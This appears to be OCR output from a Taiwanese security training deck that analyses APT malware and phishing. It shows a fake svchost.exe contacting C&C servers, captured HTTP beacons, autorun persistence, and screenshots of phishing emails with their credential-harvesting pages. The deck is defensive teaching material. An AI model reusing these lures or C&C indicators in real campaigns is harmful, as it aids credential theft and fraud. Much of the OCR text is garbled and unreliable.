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From: i PHEZ <jungte.wu@msa.hinet.net>
To:, I @ms35.hinet.net>
Date: Wed, 06 Apr 2016 08:56:39

Subject: - Ve EREET
FEEE\EETE:
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a.dll xml b N SR
g cxe

SHA256

c5c32da2834a3c71e2d51f0d00b6887ee8268f847a0455594bac480ce0a31b93 $
File name [ exe

Detection ratio: | 3 /57 ‘f O

Analysis date 2016-05-04 10:04:15 UTC ( 5 days, 16 hours ago )

@
o

&= Analysis @ File detall © Additional information @ Comments n 3 Votes &2 Behavioural information

Antivirus Result Update
Avira (no cloud) TR/Agent Y .857 20160504
Ikarus Trojan Agent 20160504
McAfee-GW-Edition BehavesLike. Win32.Downloader.dh 20160503

BHaEA D AlZdIl ~ xmlAexe# 7€ - BRERZHHAZ L ZEUZHENS -
pz e VAL EEAIEEE 3/57 - BEEERENEBRERER - 31
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E EFEIN: Mindows Services B (RIS 1)

BITHEP:  Micmsoft Corporation
EETE (H): e dind e geraeow Bd e chost exe
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Eﬁ%ﬁ% - | T Windows Services R IERRIEZTE R TTiSEbiRs _Famsl:
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- = — -
TCPView - Sysinternals: www.sysinternals.co

File Options Process View Help

Hx <

Process - PID Protocol Local Address  Local P... Remote Address Remote... State

i services.exe 512 TCP 0.0.0.0 49155 0.0.0.0 0 LISTENING

i services.exe 512 TCPVO  [0:0:0:0:0:0:0:0] 49155 [0:0:0:0:0:0:0:0] 0 LISTENING

" lsvchost.exe 716 TCP 0.0.0.0 135 0.0.0.0 0 LISTENING

" lsvchost.exe 804 TCP 0.0.0.0 49153 0.0.0.0 0 LISTENING

" lsvchost.exe 872 TCP 0.0.0.0 49154 0.0.0.0 0 LISTENING

" lsvchost.exe 1016 UDP 0.0.0.0 123 ¥ *

" lsvchost.exe 1256 UDP 0.0.0.0 5355 ¥ *

" svchost.exe 716 TCPVE  [0:0:0:0:0:0:0:0] 135 [0:0:0:0:0:0:0:0] 0 LISTENING

' svchost.exe 804 TCPV6  [0:0:0:0:0:0:0:0] 49153 [0:0:0:0:0:0:0:0] 0 LISTENING

" lsvchost.exe 872 TCPVE  [0:0:0:0:0:0:0:0] 49154 [0:0:0:0:0:0:0:0] 0 LISTENING

" sychost.exe 1016 UDPV6  [0:0:0:0:0:0:0:0] 123 ¥ *

i svchost.exe 1256 UDPV6  [0:0:0:0:0:0:0:01 5355 * ¥

svchost.exe 588 TCP 49233 104.202.173.64 80 ESTABLISHED
" lsvchost.exe 2120 TCP 1357 0.0.0.0 0 LISTENING

(¥ svchost.exe 2120 UDP 0. 0 0 0 1357 * *

“1svchostexe 2120 TCP 140, 49432 1207:226137.88 80 ESTABLISHED
*Jsvchost.exe 2120 TCP 140, 49486 207.226.137.88 80 ESTABLISHED

& KEWHFRT
E3=ERE

TRIEEESE BB BRWE svchost.exe W EETVETT
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=i csrss.exe
il conhost exe
il conhost.exe
il conhost exe

Ulwinlogon,exe

—| -Jexplorer.exe
wvmtoolsd exe
1 Tcpview exe

'DIOCEXD.CXE

-@lcmd.exe
Clsvchost.exe

—[¥Lsx.x6

- svchostexe

0.07

<001
<001

0.15
0.09
281
411
(.74

0.01
046

S0 K
48K
LOMK
LOOK
148K
32064K
5480 K
210K
1,100K
11448 K
164K
364K
318K

4976 K
149N K

26380K 420 ‘
LO00K 9D TEGHEEELR  Microsoft Corpor..
33K 199 TEGHE LR Microsoft Corpor..
4168 K 3268 TECHRETR  Microsoft Corpor.
4016K 476
57,860 K 2280 Windows fEZ£4&E Microsoft Corpor..
12,836 X 2364 VMware Tools Co,.. VMware, Inc.
"o Bg0BCumPorss~ NiSoft
18060 K 1752
26,268 K 2708 Sysinternals Proce... Sysinternals - w...
2,3;61{ 28 Windows f5%7&... Microsoft Corpor...
7192
6,272 crosoft Office 2... Microsoft Corpor...

0448 mdows Services .. Microsoft Corpor...
1 ASA K ARA4 Windnure w52 Mirrnanft (Cnrnne

® M EFHENEEHNT - EXZWEZ scvhost.exe -

34
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. e —)
B | svchostexd: 2120 Properties

¥ sx.exe:2660 Properties

Image | Performance | Performance Graph | GPU Graph | Threads | TCFR{IP | Securi

| | Image PerfnrmancelF’echrrmance Graph | GFU Graph | Thrq

Image File
Image File B Windows Services R F R TR
‘ﬁ = Microsoft Office 2003 component — —  Microsoft Corporation
- - Microsoft Cnrpnratiun Version: 6.1.7600.16385

Build Tue Jul 14 07:19:28 2009
Version: 11.0.8164.0 Path:
Build Sat Apr 14 06:57:29 2007 C:\Windows\System32\svchost.exe
Path: Command line:
C: hPrngramD ata'e mp rnx}rmem C:\Windows\system32\svchost.exe

Current directory:

Command line:
C:\Users\Dark\AppData\Local\Temp'\RarSFX0},

C:\ProgramData'emproxy|sk.exe Autostart Location:

Current directory: HKLM\System\CurrentControlSet\Services\imhosts

C:\Users\Dark\AppData'\Local\Temp\RarSFEX0Y Parent;  sx.exe(2660)

® | svchost.exe:2120 Properties l = | =1 |_H'HJ'

J | Image I Performance | Performance Graph | GFU Graph I Threadsl TCFR/IF | Security I Environment | Job | Stringsl

[ |Resolve addresses

Prot... Tocal Address Remote Address State
TCP 140 49234 1207.226.137.88:80 ESTABLISHED
TCP 140 49237 1207.226.137.88:80 . ESTABLISHED

0.0.0.0:1357 LISTENING

UDP  0.0.0.0:1357

& PID 2120 B9 svchost.exe ##E1TAHREELAR - BIR4A 207.226.137.88 &Y
ort 80 - M FARL TCP port 1357 #UZ C&AC 5% - 35
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NetWitness Reconstruction for session ID: 488 ( Source 140. - 49569, Target 207.226.137.88 : 80)

Time4/07/2016 9:31:44104/07/2016 9:31:44 Packet Size 3,886 bytes Payload Size 3,196 bytes

A2/ o ata

GET /EAFT72A0F601C66BFD541A36E HITP/1.1
Accept- F/*

Cookie: Y+7RAQCFe/5¢Q5iTgl /M4+W2kobsHZGIXOVIVZTZPGRPg010APAWTn8r zhFBT22x Wi+ 80NxNzg
+sPMO32QtkN1VAV1Gy co34XAPagZFzn1Vne 783Gud c+dRuXx+11aXJ t yReNcoEENroBS4cd s £ 1M4u0v8N
oPzs04v0 /MvSv49UzH/dCiYet VoI XsckeTEgwe rqvOip/ 1 SYIXZ4e 1JEx1FFo1W16+VIX8TDA+X t 9vm7U
rCK4Fk&8] 104 gvHKZIRvvvwn 1+CF4GEqQMB) tZrwee] ZQdeRa+061XFnSnsp4d1QePyDlcL1 aVB+dcanAz()
vAdNc1JqI1CIZhkNzU7piqL6PmOXel ruZQdDpWpHagyZe vUUIKGTzZPe 1FKug2+sceNLeZ191 b+skkoPm
JFcA&] fEqYu+4UeQ40spZP1 5d THXGOFvyQt 11g183dBG+afcdlLxdWz 1 IpSMpdtEUq1/eC3Hy rUcz1KM5
GpQ/5dYTENOM3yDEMLIpN/EguP9%2nYzLoeo1pBwLFrBH1b31ST6nhT7q3adt fmyds4gL00e5IUw+khTI
QyeTvGSXRNTILQG312RI 1 nsV+2uPIND4YTNo2LeS1apuC4GZXagDbONopd JVRuhMNK 1 MMRX r8ESpM72e1
m77NTI804zPwaKGxAI6WEW1 Pd; pmUUng] WTAW; C1EO+AscKyxrucglDeafTzghuve JFZ8xAWS4QeeDkI £
1NN/anaKTgaeckQ/8xU4dwbXbZT2VUe gWaUz2x8TeOGm]l cDAEwan St t rAYAVYZS0W9z pNLpulToxYrIG+1
Z&vIhIgcHlgal ysCqHTDwwh11VRzTwBGFqlOcT1dFnmCzuly0zolhg +VUNEeO2LMOpvzo/Fwx30REelX
znDtInsrssybHCSPUQN] 10gohD11 tmwI73L/5dQsGaryYGBINM1I] ocq8n8hi1xAFe ammQwe(3 oL +oPu7M
HwilaREvHI kzrBL471NCq3nK8 I FmOT r r8Au3FKdzRKSmXq 1cue6KJ r1H36 3BKKKuZz(QxQOQEsKH1 AEkcD
1ANRQxpg IND1a4HvwVv] r4bhAHQOHEThazpzWMzD7sCyRm/RbNIR4WPRbY(Qx J XLwX r WCwa 7 cOCYKxAKxd
IvEfBXFLor6219TMcgS2Eul kmZ6Z0A3G+4shC4DV1kbEPSEU22FyT sg 8WET3qE+q] n VUTkZA4u7QZ3Q1 £
SmaHkDennX0M0As s yDeMPRIN030nDTsnv+hNn f 3RPOTMyELuZevd T 25 DGanlve I TUh Ve fEN20CA/ ht 74

& P fuit 207.226.137.88 - BUNREEW IP - HEZEZREAERFAFR - BR
52 =[Ol # AR C&C 1% -

& ZEGHFEEREZ HTTP GET Z Ui Ei2AF) 207.226.137.8 8/ port 80

ZW - BRRLURFEERVERNIIZ ZEA cookie HUBEZE -

36
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Time 4/ 0? 2016 19:59:59 to 4 0772016 22:21:27 Packet Size 340,532 hytps Payload Size 256,028 bytes
GET /index. php?type get&pagelnfo—br1dgeDB443&lang—]p&mld—D?ef13b40520620469116305
0fe25f38 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKi1t/537.36 (EHTML, like Gecko) C
hrome/40.0.2214.115 Safar1/537.36

Host: mail.googleusa. top

HTTP/1.1 200 QK

Content-Length: 0

Content-Type: text/html

Server: WWW Server/1.1

X-Powered-By: PHP/5.2.17

X-Powered-By: ASP.NET

X-Safe-Firewall: zhuji1.360.cn 1.0.8.5 FIW1
Date: Thu, 07 Apr 2016 12:07:51 GMT

svchost.ex Properties =
[| | image | Performance | Performance Graph | GPU Graph | Threads | TCP/IP | Security | Environment | Job | Strings|
[ |Resolve addresses
Prot... Local Address Remote Address State
TCP 140, 149233 1104.202.173.64:80) ESTABLISHED
NetWitness Reconstruction for session ID: 907 ( Source 140. - 49645, Target 104.202.173.64 : 80)

R
E
5
P
0]
N
5
E

H

Hl

& 5 —1& PID 588 f4 svchost.exe - IEIE,‘HEQE%?ZF:;;
104.202.173.64 :80 - Mz @2 Bt 2
R E B4 2 TE MO ZRAV EN1E

WAPTIVEE M A AT 3R - TACERT 55 S T RIS R4 E B o )

/V\N\
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EEHE 22

37



2016/4/7 B 09:18:32 4dded gvchost . exe TCP 140. 40250 140, 1701357
2016/4/7 B4 09:18:32 Removed gvchost . exe TCP 140. 40258 140, 16:1357
20167417 B 09:18:34 Added gvchost . exe TCP 140. 40260 140. 18:1357
2016/4/7 B4 09:18:34 Removed gvchost . exe TCP 140. 40250 140, 1701357
20167417 B 09:18:36 Added gvchost . exe TCP 140. 40261 140. 19:1357

2016/4/7 B4 09:18:36 Removed gvchost . exe TCP 140. 40260 140, 181357
20167417 B 09:18:38 Added gvchost . exe TCP 140. 40262 140. 20:1357
2016/4/7 B4 09:18:38 Removed gvchost . exe TCP 140. 40261 140, 1951357
20164417 B 09:18:40 Added gvchost . exe TCP 140. 40263 140. 411357
2016/4/7 B 09:18:40 Removed gvchost . exe TCP 140. 40262 140, 20: 1357
2016H4/7 4:fF 09:1%:43 Removed gvchost .exe TCP 140. 40263 140, 211357

P ] o I T, I B N N | 1 h T P A N A N .\ h s W ad ] L

Time Service Size Events

2016-Apr-07 09:23:07 IF / UDP [ OTHER 234 B . 140, -= 140, 113 -qj 562998 —= 1357
2016-Apr-07 09:23:21 IP / UDP { OTHER 234 B . 140. -=> 140, 118 -qj 59612 -= 1357
2016-Apr-07 09:23:44 IP / UDP [ OTHER 234 B w140, -= 140, 126 -qj 58437 -= 1357
2016-Apr-07 09:24:10 IP f UDP [ OTHER 234 B . 140, -> 140, 136 -q-j 53359 - 1357
2016-Apr-07 09:24:27 IP / UDP [ OTHER 234 B w140, -= 140, 142 -qj 56505 -= 1357
2016-Apr-07 09:24:50 IP / UDP { OTHER 234 B . 140. -= 140, 150 -qj 53766 -= 1357
2016-Apr-07 09:25:16 B 60724 —= 1357
2016-Apr-07 09:25:42 IP / UDP { OTHER 234 B . 140. -= 140, 168 -qj 52355 - 1357
2016-Apr-07 09:25:47 IP / UDP [ OTHER 234 B w140, -= 140, 170 -qj 54958 —= 1357
2016-Apr-07 09:25:49 IP / UDP f OTHER 234 B e 140, -> 140. 171 @ 58039 -= 1357
2016-Apr-07 09:25:54 IP / UDP [ OTHER 234 B w140, -= 140, 173 -qj 49513 -= 1357

& TSI EXE #M1T18 - svchostexe BR F {INBELELR - B ARAHEEEITE
Himin - EE2%tE TCP =% UDP port 1357 -
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Autorun Enfry  Description Publis... Image Path
# HKIM\SOFTWAREWMicrosoftWindows\CurrentVersion\Run

Y W VMware ... VMware Tools C... VMwa... c:\program files\vmware\vmware tools\vmtoolsd.exe
ac go\AppData\Roarmng\Microsoft\Windows\Start Menu\Programs\Startup
c:\users\hugo\appdata\roaming\microsoft\windows \st...

notilv.exe:]

420 Properties #8 9

Image | Performance | Performance Graph | GPU Graph | Threads | TCP/TP | Security | Environment | Strings

Resolve addresses

Prot... Local Address Remote Address State
TCP 140 49158 104.202.173.64:80 ESTARBLL..

& THRECRKB—KIGEE  RAH sl - FETERE CRCEH e
B=1E - EFfE®RE autoruns Faﬁ’fAzF@jJE BRAEYIEN S AREMEE @ &
= notilv.exe 7L 2 svchost.exe - H3E4 IP @4 104.202.173.64 - Ol DItE

E UL IP %4 C&C fEfk=s -
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SHA256: 2c7c9fd09a0a783badb42a491ccec159207ee7f65444088babe7c8e617abbah b
File name: C dll —
Detection ratio: 22 / 57 ‘r 0 O

Analysis date: ~ 2016-04-08 05:42:12 UTC ( 1 month ago )

& Analysis @ File detall O Additional information ® Comments n L) Votes £ Behavioural information

Antivirus Result Update

AlYac Trojan.GenericKD.3141527 20160408
AVware Trojan.Win32 Generic!BT 20160408
Ad-Aware Trojan.GenerickKD.3141527 20160408
AegisLab Bkdr.Zacom.Genlc 20160408
AhnLab-V3 Trojan/Win32.Gen 20160407

& F33 virustotal i1 notilv.exe L2 svchost.exe - ol MIEIRERILERE
22/57 -

BRI PTRESH OIS - TACERTE SRR BHEE PO



e —_—
TERSTHCAC . FEmT&cac
CRCEH 5% 2 I CRCEH
] £
104.202.173.64:80 207.226.137.88:80

STEP 3 STEP 2

i HA & 1.E1# cookie#E i}
A HTTP GET HTTP GET
}/\ 2B CRCHES
ort 1357 RTBEER
/\ 4_; ——
o TCP Port 1357 APTHR T RBH#

E4BEEEMAPTS =% Listening State
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 Ele Edt Yew [Insert Fgrmat  Jooks  Actions  Help

L gReply | C@Replyto Al | (jForward | Wy 4| ¥ B X|&-* A '—'l

From: .i- HETT B H I e Sent: Sat 10/18f2014 2:00 AM
To:

Cc:

Subject: Document Attached with PDF by Google Doc

2

Hey

I uploaded the document to you using Google dnve] Sign i path your email 10 access the document and

ot me Kknow your views after what

LA RN netfodfidoc 2014/

Tl b pacdll
- ','L. N ‘:0""'1".""|) :Ill;'
AR IR GEA PP A AL

Google Drve®: create, share, and keep alf your stuff in one place GO L )Sle

¢ B2 T EIERAILEARINIRER A 42

BERARR micro.com.tw/?p=10379




ZERIFR

AOL & Google & Hotmai v

YaMoo!

One account. All of Google.

Choose your Emad provider and Sign in 1o continue fo Google Drive

Gmall

BN O '.: s B
¢ i Google Drive#duf

micro.com.tw/?p=10379
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&« C [ W morgarstankey .com f ]

? Do you want Googe Crrome to $3ve YOur Dassword?

/e password

WEALTH MANAGEMENT Morgan Stanley

Asstory

Aatem 1
PAaucin i

rol over

LT N b 8 Mrdameats standooort, we Dunk IMWOe s sOme gvery pOMAR? goirg
Oete Gromth Lowe ‘or Longer e POdeS o SOETRING TR W ROCESKary ¢ i PN ecandmuc recovery i
2 The WO 00 R PN 5 swkLa ned wodd wubsantially ¢ Pl v .
£ W81 ¥ A} BTN .- s e d POy from the Fadertl Reserve coosdiany
v ) .
Yo -Betenen Eronemy Wi the promise of 3 moce aggressne poiy from the Luropean Coamral Bank 2at
. v Sl XL Sy AT d - 1 2 + 1
o hedaind 10 begin 1s oo For the Last seversl yours, B¢ Fod has uooguvica
e A i ia . 8 ! g
’ S OOR T IOONE AEEICWINYE L OF ComiTil Dank. As 2 rews D¢ CoLlar has remac s
v e " CCONE YO, WK i one reason winy 1he US led the glodal & ¢
a Pl SR ’ 3
AN tens S oy
R R maD o e However, the weak doller also resuliod a2 Palancod rocone 1t s
" ~ ™ 4 A »
Mnights Sio Mowth Cory o JOsingd W wiTer 4 premu Jeo { o ' ¢ < dhor reg » ot

® SAZE - EREGRENSR— /ARG

BERAR micro.com.tw/?p=10379
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« = C @vrw-v:uwm.li;

<l== saved freom urle (0321)heepe://accounts.google.con/3ervicelogin?

2

<html lang*"en"><head><meta http-equive~Content-Type"™ content="text/htwl:; charset~UTr-s">
<meta charset=*yucgZ-g¥>»
<peta content="width=300, initial-scale=*l” name="viewport"™>
<meta naes"google” valus="potranslate™>
<peta nanmer"description” content*"Gmail 13 emall cthat's intulcive, efficient, and usetfy
storage, less spam, and mobile access.™>
' <titiexCoogle Prive</title>
9 <atyle>
0 html, body {
" font-family: Acial, sans-serif:
5] background: ¥rref:
'3 margin: 0O;
14 padding: 0:
1" border: 0;
e position: absolute;
17 height: 100%;
5 min-width: 100%:
9 font-size: 13px;
0 color: N404040;

- - A 0w

n direction: ltr;
3 ~webkit-text-size-adjust: none;
b4 )

M button,




'~ Meaders Preview Response Cookies Timing

URL: http: F- 14 10n
Request Method: POST
Ststus Code: 0 302 Moved Yemporarily
¥ Request Headers VW SOurce
Accept: text/html, application/xhtml+xml, application/xml;qe0.9,"/";qe0.8
Accept-Charset: IS0-8859~1,utf-8;q«0.7,%:q+0.3
Accopt-Encoding: gzyp,deflate, sdch
Accept.Language: en-US, en;q~0.8
Cache-Control: max~agesd
Connection: keep-alive
Content-Lengthe 78
Content - Type: application/x-www-form-urlencoded
Host: www. 86580, net
Ovigine http:/ /v, B6580. . net
Refores: http:/ /v, 86580, net/pdf/doc2014/
User.-Agent: Mozi114/5.0 (Windows NT 5.1) Applewebi1t/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safa
r1/$35.7
¥ Form Data view URL encoded

provider: gnas ). com
Email: dummymas 1@gmai 1. com
Passwd: dummypass

¥ Response Headers YW SOUrce
Connection: Keep-Alive
Content-Lengthe ©
Content-Type: text/htm)
Date: Tue, 21 Oct 2014 23:00:15 GMT

Lfouuon: https:// w2 . rorganstanley. com/wealth/investment strategies/pdfs/gic_onthemarkets, pd

ver: Apache

X -Powered-thy: PHP/S.4.33




: W Level ) S0

My accoust has baen compromised An amal was sent 10 eviey Sngle presen that my account has wvef sent an emad 10 and states the folowing

Yay
| uplaaded the document to you using Gaagle drve. Sign in with your eenad 10 access the decument and It me know your views afer what
Document pdf

Google Drve® create, share, and keep ol your st m one place '

Over the last maeth 1w otehr paophe | know have had accounts compeonesed and had the very same emall sent out 10 oF their contacts
Ploate advive on hwat should be done

e, E— 0 ]|

* o youwere phihed
S tha folowing atichs abovt how 10 re-5eCufe 80 ACCount Thit wis Compeomsed
htp Hgmadaccountrecovery blegspol co ukisecunty (When you techum Your Account)
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Ble [t Yew Jodk Hemsge Heb oy
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Baply  Bephy Al Foreard Prifdt [ Sebdpeniat
frone  Fuschabidrlorg e
Dt Friclyy, May 1T, 3007 030 A
LI . |
Sybject:  FECLn momeememme oo B 2R PEER TEHN
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TR 2013F0sR1TE L0819
HitE:
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BRI micro.com.tw/?p=8334



L= ==y

bl o Desktop 20 B MR R R LIRIRNE AL T M |
Mame + oize | Type

R R RS AP B ros oot 131KB Screen Saver

M) R 2 BRI G S BT doc S7KB Microsoft Word Doc...

& BN EIERBRRRTLOLMIEAE.SCRIEESR £
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B Microsoft Power Point - [IVIOZITRRSAFTHARES S5 NT_ Mept)

) Ble [dt Vew [reet Fomst Jooks SideSow  Window  Meb R NY, v
_)3_,,5».“_].‘;:5& . § Mg -x-llnE@i SN AR IF J/Degon _j New Side
Ouen | Skbes | X a

— " J
' | = SR B AR

T .
R R S S B

o (] Atteess \ NDOUAC DA d-L-A-===aul
A 0cf0,.2 MRS RVETMe0s

& SCREZEEPPTIERIEAFBE >0
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il 14 50

\ ) —
S
Subject: Changes to account storage Limit.

From: @«cmbertscn.?@ow.edu:‘

TO(1): Undisclosed recipients:;

Li==u

><\

le

Date: Mon, 31 Oct 2016 03:50:47 -0400

] Office 365

Email Account Storage Limit Exhausted.

Your Email account is running low of available storage subscription data.
Your email storage capacity has dropped to (Y50MB) please take note.
We will be forced to Shut-Down your E-mail account if data usage exceeds the above capacity.

We advice you to CLICK HERE TO INCREASE YOUR EMAIL STORAGE FREE DATA

When data exceeds current available space it would lead to certain mail malfunction and lost of files.
Failure to increase your subscription data by (5GE) free would lead to lost of files and incoming new messages soon.

Thanks for your cooperation.

Microsoft Team..
4 2016 Microsoft Corporation. All rights reserved.

& BRE Office365 IR B4 51

BRI point.com/tw/taxonomy/term/19
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’ \/ .- . - \- [
/ m- Signintoyouracc: X \\

C 1y | ® www.oaa.com.my/js/microsoft/index.html G ¥ | i ERSEG)

] Office 365

Work or school, or personal Microsoft account

lEmanI or phone

Password

| Keep me signed in

Can’t access your account?

& 2016 Microsoft B Microsoft

Terms of use  Privacy & Cookie

4 %ﬁ?ﬁCLICK HERE TO INCREASE YOUR EMAIL STORAGE FREE ,
DATA €2 &l EERVEEEE - £AUAMIUBELER 1 |

point.com/tw/taxonomy/term/19
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5% Sign in to your account

Connect

Corporation (U

i) @ Microsoft C

Jo)
e
i

x\-F
i &

|ogin.microsoftonline.com

] Office 365

Work or school, or personal Microsoft account

%L

[7] Keep me signed in

i MR
i /’ i
your account?

Can't access y

B Microsoft

© 2016 Microsoft
Terms of use  Privacy & Cookies
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Recelved: from name3-col-obe.outbound.protection.outlook.com [(104.47.40.216)] by
(envelope-Trom <ropertso@math.ohio-state.edu>)

(Cellopoint E-mail Firewall v4.1.2 Build 0314 with TLS)

with ESMTP 1d 1790685569; Mon, 31 Oct 2016 16:05:17 +0800

& E4H FERE-mail Header/Received oI & L F A& ip 3 245K B 1 35 B R

28] - {B=Zenvelope-fromAlZ @math.ohio-state.edu -

54
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From Feedback@notice.alibaba.com <feedback@service.alibaba... "

Subject MNew Inquiry from Annger

To

Alibaba.com’ Trade Center

Global trade starts here.

Annger from Germany has sent you an inquiry

Annger zallour

Hi

Dear SirfMa, could you be so kind to tell me the shipping cost of vour product to Germany. We want to make an order

with you to port of Rendsburg

FAQ:

1. Tips for Intemat

ional Trading on Alibaba.com

2. Some top tips for safe trading on Alibaba.com

Recent Activity on Alibaba.com:
1. Pipelines for ordering on Alibaba.com

2. Recent new functions and promotions on Alibaba.com

hin 24 hours, buy:
. YOU are encouragec

't reply to this inquiny
duce the risk of fraud

egotiate and

Email Setting | CustomerServices | Helpcenter | My Alibaba

Privacy Policy Term

ded to other suppliers.
nake payments

7 Sep 2016 20:44

IP:62.** 22

Manage Your Orders

Trade Center.

roug

=
& BiERAlibabafyE] BEFH K @A -

point.com/tw/taxonomy/term/19
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[0 Alibaba Manufactt x \\

| BB | =

Cc O I [ data:text/html;base64,PCFETONUWVBFIGhObWwgUFVCTEIDICIELy9XMOMVLORURCBYSFRNTCAXLjAgQVHJhbnNp & frl

Alibaba com English ~

Global trade starts here.™

Email Address:

8 Trade Assurance
Get full protection for your orders 2. }
- o

100% Product quality protection

2 ) 100% On-time shipment protection

Email Password:

Forgot password?

3 ) 100% Payment protection

sign in with: [

fo - Partnerships

Join free now!

‘s Can't sign in? Get help here

& Z5%EReply nowig - EiEZR|phishingBE

BRI point.com/tw/taxonomy/term/19
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BRI

F Alibaba Manufacti x ‘

U"[

| B || =

(— C { | B httpsy//login.alibaba.com % | P )

Alibaba.com® english ~

Global trade starts here.™

e T
COMING SOON! ' | ‘

SU PER SEPTEM BER Password: Forgot Password?
PURCHASING =
Join Free

Sign in with: n m

Preview Sale »

‘ssi Can't sign in? Get help here

& Alibaba.com Site: International - Espafiol - Portugués - Deutsch - Frangais - Italiano - & - Pyccuit - 81501 - HZES - aw =)l aalll - nnunna - Tirk - Nederlands - tiéng Viét - Indonesian - nnay

mallie }
nall.com | Juh

& BATEFHHAERR  ZEDIEERIAlbaba BB

point.com/tw/taxonomy/term/19
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Received: from server.dnsfreedom.net [(46.166.179.209)] by
(envelope-from <nusratlo@server.dnsfreedom.net>)
(HQmailCellol with TLS)
with ESMTP id 837152110; Wed, 07 Sep 2016 20:44:09 +0800
Received: from nusratle by server.dnsfreedom.net with local (Exim 4.87)
(envelope-from <nusratlo@server.dnsfreedom.net=)
id 1bhcCz-8041j6-Hc
for Sandy.Deng@pouchen.com; Wed, 87 Sep 2016 14:44:05 +0200
To: Sandy.Deng@pouchen.com
Subject: New Inquiry from Annger
X-PHP-Script: nusratloves.com/zorobo.php for 160.152.41.141, 212.129.55.2
MIME-Version: 1.0
Content type: textjhtml charﬂet is0-8859-1

OJtI:iWF—ﬂﬁF%IEE\,.HﬁE% spammerm—ﬁﬂaiﬂﬁﬁlﬂﬁlﬂHeader/Received%E
KFromeX B feedback@notice.alibaba.com - LAEUERuser -

58
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TR I

Subject: Update your account information please

From: EQEaendiciied <noreplay@oi.com.br>

TO(1): v

/__ i~ |

l
\
e T
=
|
I
m
m))
ca

Date: Mon, 20 Jun 2016 13:32:53 -0300 (BRT)

PayPal

Update your account information

Hello PayPal user,

ected different login
and we think that the hackers

ur informations after
d your a

sincerely,

PayPal

) open your suspended
o that can suspend your

S:the following button contains a special link that gi
count, but you should not login from the page in
account forever.

Click Here

Pay

C

& (BB PayPal@A0 -

BRI point.com/tw/taxonomy/term/19

le

59



B HR

P Login - PayPal PR

= |[[=] ]| 8

c O I 0O www.securehunter.comﬁ.&.pp.me.verl‘icartion—l‘lag—red,faccount—inl‘o,fse-1}'I

P PayPal

Forgotten your email address or password?

Sign Up

About | Account Types | Fees | Privacy | Security | Contact | Legal | Developers

Copyright @ PayPal. All rights reserved.

»d 50 :

3

-

& THE "ER RIlRERAELRONRER

PREZHNELEZEHNRHER -

point.com/tw/taxonomy/term/19
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il 14 50

Li==u

TR 1LHE

Subject: BFHE it BE B2
From: <j0rdikingbl‘kes@gmail.com>

TO(1): undisclosed-recipients::

Date: Fri, 29 Apr 2016 06:54:03 +0100

HimAs ,
PSR oI E S ENRF A SH AT EMMEREER G, SoTsEEMM SR TEH BBE , 200684 A25HFF12:02 GMT.

TRERECMRES , UREEENENBE | IRFE2IFEFEEASE24/\FrRMETE,
FHETEMNEE BENERE T2

PEREHREELT AEME | SiEmEEE—RAKEE24 R EEFEEEE : 0800- 080412
O W HEFRE 2016 5 A& WIS 1) SR R B & BE.

& HABNFOLIERZER AR  BARAZEBEIESEIZERRN

S -
ERRR point.com/tw/taxonomy/term/19
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C # [ urnadecristalmanizales.com/administrator/help/en-GB/net/update/hinet.htm

HiNet mﬁﬂ{*ﬂaﬁ HTTR:/ /WEBMAIL.HINET.NET

REEEHEEELBAME

hiM@“ WEB IR R R TRERT
4 e (b om = RS B S A

httpsy//www.himail.hinet:net

| BAAERE | BiGHNE | FIZRE | RAHAS | HiNeBSRERERRE |

© Copyright 2014 HiNet Internet Service by Chunghwa Telecom.

HiNetE& & | il | FA04EE

A3 | English

BAMSHE | hiMal | RERE

{ HiNetfEA S5 )

HAIRSEAIEE
WS : [appleief@ninetnet [E1
B e oK

O ZEEE O cEZE

O EAmI{EE
BRFSEREA
» HTML kR » Flash f& » English Help

HiNetf@ A S8 Ems1~ms99, msa, cml
& UMail ERE,

{SEE) (EAGREA
(RENE) CBRFSIEERD

HiNet PEBEHIEFBEH NG ol BIEHESEE —ER2158 2E24/\5RHRFEESE : 0800-080412

i

point.com/tw/taxonomy/term/19

& == E T RAERE ) RIIEHAN FERHNRHESE -
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™ urnadecristalmanizales

“ FEIFR NN

| EEE(O) |

& @ ANRSEZ AL POKE Z9E L —EiaRal 2 -
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3 x 3
& C ff & https://webmail.hinet.net

T &#52coogle Chrome 775515 ? REZES

WABBIR |

PhiERE S TSR R PR R R R A

HiNet SEE;B{#HB;% HTTR:/ /WEBMAIL.HINET.NET

BEE TERE &>
MEHR !

HiNetEE | Al | 89488

FI3Z | English
BAGHE |
BRIRRE ARSI RIP { HiNet{H A{S#8 )
KRR -EBRREEH At A\ MESEFNZEEE
’ B P ESEE !
s ~ CETH —
P Y G . -
1 T BB E 255 DU [ RETE
B=Fx  MEEHZT | ERAmI{EE
ERESHARES
BEBAE ! BRFEERER 7 7
HiNet@AEF 8B Ems1~ms99, msa, cml
\ R UMail A&,
NS 5 ggp({)ﬁpﬂ;xgan/ Q (REAE) (EFRal)
H

BRI

|BARRE | BhE | FIZES | R84S HINBBERARBERRE |
HiNet PEBFEHIFBEH QS i BILHEHEE 2158 2E24/\ 5% ERFEESE : 0800080412

© Copyright 2014 HiNet Internet Service by Chunghwa Telecom.

& 2N THEE, REAEREEREELAIELAHINetEARHR -

point.com/tw/taxonomy/term/19
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Received: from mail-ob0-f180.google.com [(209.85.214.180)] by

(envelope-from <jordikingbikes@gmail.com=)
(Cellopoint E-mail Firewall v3.9.12 Build 0813 with TLS)
with ESMTP id 1001918214; Fri, 29 Apr 2016 13:54:09 +0800

& E31(EHIE-mail Header/Received - oJI& HispammerZ EFAGooglefy ik
sy UGS - BRpublichIIRSE A R 2B % 5 A A IEFERNRFR -

65
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Account Suspension Notification (Case I1D #AL 26G 086 327 )
~ From: @, |Apple Support
To:

Li==u

= .
1SR 15
v

September 14, 2015 1:.04 AM

Dear Costumer,

‘We are unable to Confirm your account information .

As a result, your account has been temporarily suspended.

All the services related to your account has been suspended pending resolution.

Please provide us with your details as soon as possible.

Just click on Con My Account and Log In to your ID and follow the

Confirm My Account

This is an automated message. Please do not reply to this email. If you need

instructions :

additional help, visit Apple Support.

Notice: If this email was sent to you in vour Junk or Spam folder please mark it as not

spam due to our new security update.

Copyright Apple 2

& BEAppley Ty B FL -

BRI point.com/tw/taxonomy/term/19
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CcC ||j apple.com-confirm-your-apple-account.multiflexi.com/Suspended-Account/Account-1D/55cda1785e2ea632bc4946a3d :’3] L]

iPhone Watch iPad iPod iTunes Support Q
My Apple ID

Sign in to manage your Apple Sign In
ID.

